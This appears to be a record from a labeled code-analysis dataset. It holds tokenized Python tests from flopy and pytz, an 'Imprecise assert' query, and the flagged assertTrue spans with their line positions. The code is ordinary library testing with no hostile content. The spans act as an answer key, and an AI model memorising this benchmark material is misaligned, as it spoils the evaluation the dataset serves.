"and", " ", "lp", "f", " ", "packages_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow_", "(_", "model", "name_", "=_", "'", "tpl", "3", "'_", ",_", "model", "\\u", "ws_", "=_", "'./", "temp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dis_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Dis", "_", "(_", "m_", ",_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp", "f_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Lp", "f_", "(_", "m_", ",_", "hk", "_", "=_", "10._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "zone", " ", "array_", "\\u\\u\\uNL\\u\\u\\u_", "zone", "array_", "=_", "np_", "._", "ones_", "(_", "(_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", ",_", "dtype_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zone", "array_", "[_", "0_", ",_", "10_", ":_", ",_", "7_", ":_", "]_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zone", "array_", "[_", "0_", ",_", "15_", ":_", ",_", "9_", ":_", "]_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zone", "array_", "[_", "1_", "]_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "list", " ", "of", " ", "parameter", "s", " ", "for", " ", "HK", "_", "\\u\\u\\uNL\\u\\u\\u_", "mf", "package_", "=_", "'", "lp", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "zones_", "=_", "[_", "2_", ",_", "3_", ",_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "vals_", "=_", "[_", "56.", "777_", ",_", "78.", "999_", ",_", "99.", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lbo", "und_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ub", "ound_", "=_", "500_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transform_", "=_", "'", "log", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plist", "hk", "_", "=_", "params_", "._", "zone", "array", "2p", "arams_", "(_", "mf", "package_", ",_", "'", "hk", "'_", ",_", "par", "zones_", ",_", "lbo", "und_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ub", "ound_", ",_", "par", "vals_", ",_", "transform_", ",_", "zone", "array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "list", " ", "of", " ", "parameter", "s", " ", "for", " ", "VK", "A_", "\\u\\u\\uNL\\u\\u\\u_", "par", "zones_", "=_", "[_", "1_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "vals_", "=_", "[_", "0.001_", ",_", "0.0005", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zone", "array_", "=_", "np_", "._", "ones_", "(_", "(_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", ",_", "dtype_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zone", "array_", "[_", "1_", "]_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plist", "vk_", "=_", "params_", "._", "zone", "array", "2p", "arams_", "(_", "mf", "package_", ",_", "'", "vk", "a", "'_", ",_", "par", "zones_", ",_", "lbo", "und_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ub", "ound_", ",_", "par", "vals_", ",_", "transform_", ",_", "zone", "array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Combine", " ", "the", " ", "HK", " ", "and", " ", "VK", "A", " ", "parameter", "s", " ", "together_", "\\u\\u\\uNL\\u\\u\\u_", "plist_", "=_", "plist", "hk", "_", "+_", "plist", "vk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "the", " ", "template", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "tw_", "=_", "tpl", "writer_", "._", "Templa", "te", "Writer_", "(_", "m_", ",_", "plist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tw_", "._", "write", "\\u", "template_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tpl", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "'./", "temp", "'_", ",_", "'", "tpl", "3", ".", "lp", "f", ".", "tpl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "tpl", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
awslabs/lambda-apigateway-twilio-tutorial/pytz/tests/test_tzinfo.py
[ { "content": " def testGMT(self):\n now = datetime.now(tz=GMT)\n self.assertTrue(now.utcoffset() == NOTIME)\n self.assertTrue(now.dst() == NOTIME)\n self.assertTrue(now.timetuple() == now.utctimetuple())\n self.assertTrue(now==now.replace(tzinfo=UTC))", "metadata": "root.BasicTest.testGMT", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 }, { "content": " def testReferenceUTC(self):\n now = datetime.now(tz=UTC)\n self.assertTrue(now.utcoffset() == NOTIME)\n self.assertTrue(now.dst() == NOTIME)\n self.assertTrue(now.timetuple() == now.utctimetuple())", "metadata": "root.BasicTest.testReferenceUTC", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 81 }, { "content": " def testUnknownOffsets(self):\n # This tzinfo behavior is required to make\n # datetime.time.{utcoffset, dst, tzname} work as documented.\n\n dst_tz = pytz.timezone('US/Eastern')\n\n # This information is not known when we don't have a date,\n # so return None per API.\n self.assertTrue(dst_tz.utcoffset(None) is None)\n self.assertTrue(dst_tz.dst(None) is None)\n # We don't know the abbreviation, but this is still a valid\n # tzname per the Python documentation.\n self.assertEqual(dst_tz.tzname(None), 'US/Eastern')", "metadata": "root.BasicTest.testUnknownOffsets", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 87 }, { "content": " def testUnicodeTimezone(self):\n # We need to ensure that cold lookups work for both Unicode\n # and traditional strings, and that the desired singleton is\n # returned.\n self.clearCache()\n eastern = pytz.timezone(unicode('US/Eastern'))\n self.assertTrue(eastern is pytz.timezone('US/Eastern'))\n\n self.clearCache()\n eastern = pytz.timezone('US/Eastern')\n self.assertTrue(eastern is pytz.timezone(unicode('US/Eastern')))", "metadata": "root.BasicTest.testUnicodeTimezone", "header": "['class', 'BasicTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 104 }, { "content": " def testDatabaseFixes(self):\n # Hack the pickle to make it refer to a timezone abbreviation\n # that does not match anything. The unpickler should be able\n # to repair this case\n tz = pytz.timezone('Australia/Melbourne')\n p = pickle.dumps(tz)\n tzname = tz._tzname\n hacked_p = p.replace(_byte_string(tzname),\n _byte_string('?'*len(tzname)))\n self.assertNotEqual(p, hacked_p)\n unpickled_tz = pickle.loads(hacked_p)\n self.assertTrue(tz is unpickled_tz)\n\n # Simulate a database correction. In this case, the incorrect\n # data will continue to be used.\n p = pickle.dumps(tz)\n new_utcoffset = tz._utcoffset.seconds + 42\n\n # Python 3 introduced a new pickle protocol where numbers are stored in\n # hexadecimal representation. Here we extract the pickle\n # representation of the number for the current Python version.\n old_pickle_pattern = pickle.dumps(tz._utcoffset.seconds)[3:-1]\n new_pickle_pattern = pickle.dumps(new_utcoffset)[3:-1]\n hacked_p = p.replace(old_pickle_pattern, new_pickle_pattern)\n\n self.assertNotEqual(p, hacked_p)\n unpickled_tz = pickle.loads(hacked_p)\n self.assertEqual(unpickled_tz._utcoffset.seconds, new_utcoffset)\n self.assertTrue(tz is not unpickled_tz)", "metadata": "root.PicklingTest.testDatabaseFixes", "header": "['class', 'PicklingTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 148 }, { "content": " def testOldPickles(self):\n # Ensure that applications serializing pytz instances as pickles\n # have no troubles upgrading to a new pytz release. These pickles\n # where created with pytz2006j\n east1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'US/Eastern'\\np2\\nI-18000\\n\"\n \"I0\\nS'EST'\\np3\\ntRp4\\n.\"\n ))\n east2 = pytz.timezone('US/Eastern').localize(\n datetime(2006, 1, 1)).tzinfo\n self.assertTrue(east1 is east2)\n\n # Confirm changes in name munging between 2006j and 2007c cause\n # no problems.\n pap1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'America/Port_minus_au_minus_Prince'\"\n \"\\np2\\nI-17340\\nI0\\nS'PPMT'\\np3\\ntRp4\\n.\"))\n pap2 = pytz.timezone('America/Port-au-Prince').localize(\n datetime(1910, 1, 1)).tzinfo\n self.assertTrue(pap1 is pap2)\n\n gmt1 = pickle.loads(_byte_string(\n \"cpytz\\n_p\\np1\\n(S'Etc/GMT_plus_10'\\np2\\ntRp3\\n.\"))\n gmt2 = pytz.timezone('Etc/GMT+10')\n self.assertTrue(gmt1 is gmt2)", "metadata": "root.PicklingTest.testOldPickles", "header": "['class', 'PicklingTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 178 }, { "content": " def test_bratislava(self):\n # Bratislava is the default timezone for Slovakia, but our\n # heuristics where not adding it to common_timezones. Ideally,\n # common_timezones should be populated from zone.tab at runtime,\n # but I'm hesitant to pay the startup cost as loading the list\n # on demand whilst remaining backwards compatible seems\n # difficult.\n self.assertTrue('Europe/Bratislava' in pytz.common_timezones)\n self.assertTrue('Europe/Bratislava' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_bratislava", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 725 }, { "content": " def test_us_eastern(self):\n self.assertTrue('US/Eastern' in pytz.common_timezones)\n self.assertTrue('US/Eastern' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_us_eastern", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 735 }, { "content": " def test_belfast(self):\n # Belfast uses London time.\n self.assertTrue('Europe/Belfast' in pytz.all_timezones_set)\n self.assertFalse('Europe/Belfast' in pytz.common_timezones)\n self.assertFalse('Europe/Belfast' in pytz.common_timezones_set)", "metadata": "root.CommonTimezonesTestCase.test_belfast", "header": "['class', 'CommonTimezonesTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 739 }, { "content": " def test_fromutc(self):\n # naive datetime.\n dt1 = datetime(2011, 10, 31)\n\n # localized datetime, same timezone.\n dt2 = self.tz.localize(dt1)\n\n # Both should give the same results. Note that the standard\n # Python tzinfo.fromutc() only supports the second.\n for dt in [dt1, dt2]:\n loc_dt = self.tz.fromutc(dt)\n loc_dt2 = pytz.utc.localize(dt1).astimezone(self.tz)\n self.assertEqual(loc_dt, loc_dt2)\n\n # localized datetime, different timezone.\n new_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not new_tz)\n dt3 = new_tz.localize(dt1)\n self.assertRaises(ValueError, self.tz.fromutc, dt3)", "metadata": "root.BaseTzInfoTestCase.test_fromutc", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 757 }, { "content": " def test_normalize(self):\n other_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not other_tz)\n\n dt = datetime(2012, 3, 26, 12, 0)\n other_dt = other_tz.localize(dt)\n\n local_dt = self.tz.normalize(other_dt)\n\n self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)\n self.assertNotEqual(\n local_dt.replace(tzinfo=None), other_dt.replace(tzinfo=None))", "metadata": "root.BaseTzInfoTestCase.test_normalize", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 777 }, { "content": " def test_astimezone(self):\n other_tz = pytz.timezone('Europe/Paris')\n self.assertTrue(self.tz is not other_tz)\n\n dt = datetime(2012, 3, 26, 12, 0)\n other_dt = other_tz.localize(dt)\n\n local_dt = other_dt.astimezone(self.tz)\n\n self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)\n self.assertNotEqual(\n local_dt.replace(tzinfo=None), other_dt.replace(tzinfo=None))", "metadata": "root.BaseTzInfoTestCase.test_astimezone", "header": "['class', 'BaseTzInfoTestCase', ':', '___EOS___']", "index": 790 } ]
[ { "span": "self.assertTrue(now.utcoffset() == NOTIME)", "start_line": 76, "start_column": 8, "end_line": 76, "end_column": 50 }, { "span": "self.assertTrue(now.dst() == NOTIME)", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 44 }, { "span": "self.assertTrue(now.timetuple() == now.utctimetuple())", "start_line": 78, "start_column": 8, "end_line": 78, "end_column": 62 }, { "span": "self.assertTrue(now==now.replace(tzinfo=UTC))", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 53 }, { "span": "self.assertTrue(now.utcoffset() == NOTIME)", "start_line": 83, "start_column": 8, "end_line": 83, "end_column": 50 }, { "span": "self.assertTrue(now.dst() == NOTIME)", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 44 }, { "span": "self.assertTrue(now.timetuple() == now.utctimetuple())", "start_line": 85, "start_column": 8, "end_line": 85, "end_column": 62 }, { "span": "self.assertTrue(dst_tz.utcoffset(None) is None)", "start_line": 95, "start_column": 8, "end_line": 95, "end_column": 55 }, { "span": "self.assertTrue(dst_tz.dst(None) is None)", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 49 }, { "span": "self.assertTrue(eastern is pytz.timezone('US/Eastern'))", "start_line": 110, "start_column": 8, "end_line": 110, "end_column": 63 }, { "span": "self.assertTrue(eastern is pytz.timezone(unicode('US/Eastern')))", "start_line": 114, "start_column": 8, "end_line": 114, "end_column": 72 }, { "span": "self.assertTrue(tz is unpickled_tz)", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 43 }, { "span": "self.assertTrue(tz is not unpickled_tz)", "start_line": 176, "start_column": 8, "end_line": 176, "end_column": 47 }, { "span": "self.assertTrue(east1 is east2)", "start_line": 188, "start_column": 8, "end_line": 188, "end_column": 39 }, { "span": "self.assertTrue(pap1 is pap2)", "start_line": 197, "start_column": 8, "end_line": 197, "end_column": 37 }, { "span": "self.assertTrue(gmt1 is gmt2)", "start_line": 202, "start_column": 8, "end_line": 202, "end_column": 37 }, { "span": "self.assertTrue('Europe/Bratislava' in pytz.common_timezones)", "start_line": 732, "start_column": 8, "end_line": 732, "end_column": 69 }, { "span": "self.assertTrue('Europe/Bratislava' in pytz.common_timezones_set)", "start_line": 733, "start_column": 8, "end_line": 733, "end_column": 73 }, { "span": "self.assertTrue('US/Eastern' in pytz.common_timezones)", "start_line": 736, "start_column": 8, "end_line": 736, "end_column": 62 }, { "span": "self.assertTrue('US/Eastern' in pytz.common_timezones_set)", "start_line": 737, "start_column": 8, "end_line": 737, "end_column": 66 }, { "span": "self.assertTrue('Europe/Belfast' in pytz.all_timezones_set)", "start_line": 741, "start_column": 8, "end_line": 741, "end_column": 67 }, { "span": "self.assertFalse('Europe/Belfast' in pytz.common_timezones)", "start_line": 742, "start_column": 8, "end_line": 742, "end_column": 67 }, { "span": "self.assertFalse('Europe/Belfast' in pytz.common_timezones_set)", "start_line": 743, "start_column": 8, "end_line": 743, "end_column": 71 }, { "span": "self.assertTrue(self.tz is not new_tz)", "start_line": 773, "start_column": 8, "end_line": 773, "end_column": 46 }, { "span": "self.assertTrue(self.tz is not other_tz)", "start_line": 779, "start_column": 8, "end_line": 779, "end_column": 48 }, { "span": "self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)", "start_line": 786, "start_column": 8, "end_line": 786, "end_column": 63 }, { "span": "self.assertTrue(self.tz is not other_tz)", "start_line": 792, "start_column": 8, "end_line": 792, "end_column": 48 }, { "span": "self.assertTrue(local_dt.tzinfo is not other_dt.tzinfo)", "start_line": 799, "start_column": 8, "end_line": 799, "end_column": 63 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Basic", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "GM", "T_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "datetime_", "._", "now_", "(_", "tz_", "=_", "GM", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "utc", "offset_", "(_", ")_", "==_", "NOT", "IME", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "dst_", "(_", ")_", "==_", "NOT", "IME", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "timetuple_", "(_", ")_", "==_", "now_", "._", "utc", "timetuple_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "==_", "now_", "._", "replace_", "(_", "tzinfo_", "=_", "UTC_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Reference", "UTC_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "datetime_", "._", "now_", "(_", "tz_", "=_", "UTC_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "utc", "offset_", "(_", ")_", "==_", "NOT", "IME", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "dst_", "(_", ")_", "==_", "NOT", "IME", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "now_", "._", "timetuple_", "(_", ")_", "==_", "now_", "._", "utc", "timetuple_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Un", "know", "n", "Offsets", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "tzi", "nfo", " ", "behavior", " ", "is", " ", "require", "d", " ", "to", " ", "make_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "datetime", ".", "time", ".", "{", "utc", "offset", ",", " ", "dst", ",", " ", "tz", "name", "}", " ", "work", " ", "as", " ", "documente", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dst", "\\u", "tz_", "=_", "pytz_", "._", "timezone_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "informati", "on", " ", "is", " ", "not", " ", "know", "n", " ", "whe", "n", " ", "we", " ", "don", "'", "t", " ", "have", " ", "a", " ", "date", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "return", " ", "Non", "e", " ", "per", " ", "API", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dst", "\\u", "tz_", "._", "utc", "offset_", "(_", "None_", ")_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "dst", "\\u", "tz_", "._", "dst_", "(_", "None_", ")_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "don", "'", "t", " ", "know", " ", "the", " ", "abbreviation", ",", " ", "but", " ", "this", " ", "is", " ", "still", " ", "a", " ", "valid_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tz", "name", " ", "per", " ", "the", " ", "Pyth", "on", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dst", "\\u", "tz_", "._", "tz", "name_", "(_", "None_", ")_", ",_", "'", "US", "/", "Eas", "tern", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Unic", "ode", "Timezone", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "ensure", " ", "tha", "t", " ", "cold", " ", "lookups", " ", "work", " ", "for", " ", "bot", "h", " ", "Unicode_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "trad", "itional", " ", "string", "s", ",", " ", "and", " ", "tha", "t", " ", "the", " ", "desi", "red", " ", "singleton", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "Cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "east", "ern", "_", "=_", "pytz_", "._", "timezone_", "(_", "unicode_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "east", "ern", "_", "is_", "pytz_", "._", "timezone_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "clear", "Cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "east", "ern", "_", "=_", "pytz_", "._", "timezone_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "east", "ern", "_", "is_", "pytz_", "._", "timezone_", "(_", "unicode_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pickl", "ing", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Databa", "se", "Fix", "es_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Hack", " ", "the", " ", "pickle", " ", "to", " ", "make", " ", "it", " ", "refer", " ", "to", " ", "a", " ", "timezon", "e", " ", "abbreviation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "doe", "s", " ", "not", " ", "match", " ", "anyt", "hing", ".", " ", "The", " ", "unpickle", "r", " ", "shou", "ld", " ", "be", " ", "able_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "repair", " ", "this", " ", "case_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tz_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Aust", "ral", "ia", "/", "Mel", "bour", "ne", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pickle_", "._", "dumps_", "(_", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tz", "name_", "=_", "tz_", "._", "\\u", "tz", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hacke", "d\\u", "p_", "=_", "p_", "._", "replace_", "(_", "\\u", "byte", "\\u", "string_", "(_", "tz", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "byte", "\\u", "string_", "(_", "'?'_", "*_", "len_", "(_", "tz", "name_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "p_", ",_", "hacke", "d\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unpickle", "d\\u", "tz_", "=_", "pickle_", "._", "loads_", "(_", "hacke", "d\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tz_", "is_", "unpickle", "d\\u", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simulate", " ", "a", " ", "databa", "se", " ", "correcti", "on", ".", " ", "In", " ", "this", " ", "case", ",", " ", "the", " ", "incorrect", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "will", " ", "continue", " ", "to", " ", "be", " ", "used", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "pickle_", "._", "dumps_", "(_", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "utc", "offset_", "=_", "tz_", "._", "\\u", "utc", "offset_", "._", "seconds_", "+_", "42_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "3", " ", "introduce", "d", " ", "a", " ", "new", " ", "pickle", " ", "protoc", "ol", " ", "where", " ", "numbers", " ", "are", " ", "store", "d", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hexadec", "imal", " ", "represent", "ation", ".", " ", "Her", "e", " ", "we", " ", "extract", " ", "the", " ", "pickle_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "represent", "ation", " ", "of", " ", "the", " ", "number", " ", "for", " ", "the", " ", "current", " ", "Pyth", "on", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "pickle", "\\u", "pattern_", "=_", "pickle_", "._", "dumps_", "(_", "tz_", "._", "\\u", "utc", "offset_", "._", "seconds_", ")_", "[_", "3_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "pickle", "\\u", "pattern_", "=_", "pickle_", "._", "dumps_", "(_", "new", "\\u", "utc", "offset_", ")_", "[_", "3_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hacke", "d\\u", "p_", "=_", "p_", "._", "replace_", "(_", "old", "\\u", "pickle", "\\u", "pattern_", ",_", "new", "\\u", "pickle", "\\u", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "p_", ",_", "hacke", "d\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unpickle", 